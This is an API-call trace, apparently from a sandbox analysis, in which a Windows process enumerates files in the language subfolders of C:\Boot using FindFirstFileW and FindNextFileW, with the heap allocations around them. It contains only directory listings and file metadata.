	[0134.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.268] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd200
	[0134.268] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.268] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.268] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.268] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.268] FindClose (in: hFindFile=0x5dd200 | out: hFindFile=0x5dd200) returned 1
	[0134.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.269] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0134.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.269] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd700
	[0134.270] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.270] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.270] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.271] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.271] FindClose (in: hFindFile=0x5dd700 | out: hFindFile=0x5dd700) returned 1
	[0134.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.271] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0134.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.271] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd580
	[0134.272] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.272] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.272] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.272] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.273] FindClose (in: hFindFile=0x5dd580 | out: hFindFile=0x5dd580) returned 1
	[0134.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.273] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0134.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.273] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd340
	[0134.274] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.275] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.275] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.275] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.275] FindClose (in: hFindFile=0x5dd340 | out: hFindFile=0x5dd340) returned 1
	[0134.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.275] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0134.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.275] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd380
	[0134.276] FindNextFileW (in: hFindFile=0x5dd380, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.276] FindNextFileW (in: hFindFile=0x5dd380, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.276] FindNextFileW (in: hFindFile=0x5dd380, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0134.276] FindClose (in: hFindFile=0x5dd380 | out: hFindFile=0x5dd380) returned 1
	[0134.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.276] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0134.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.276] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0134.277] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.277] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.277] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0134.277] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0134.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.277] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0134.277] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0134.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.277] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd140
	[0134.278] FindNextFileW (in: hFindFile=0x5dd140, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.278] FindNextFileW (in: hFindFile=0x5dd140, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.278] FindNextFileW (in: hFindFile=0x5dd140, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.278] FindNextFileW (in: hFindFile=0x5dd140, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.278] FindClose (in: hFindFile=0x5dd140 | out: hFindFile=0x5dd140) returned 1
	[0134.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.278] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0134.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.278] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd340
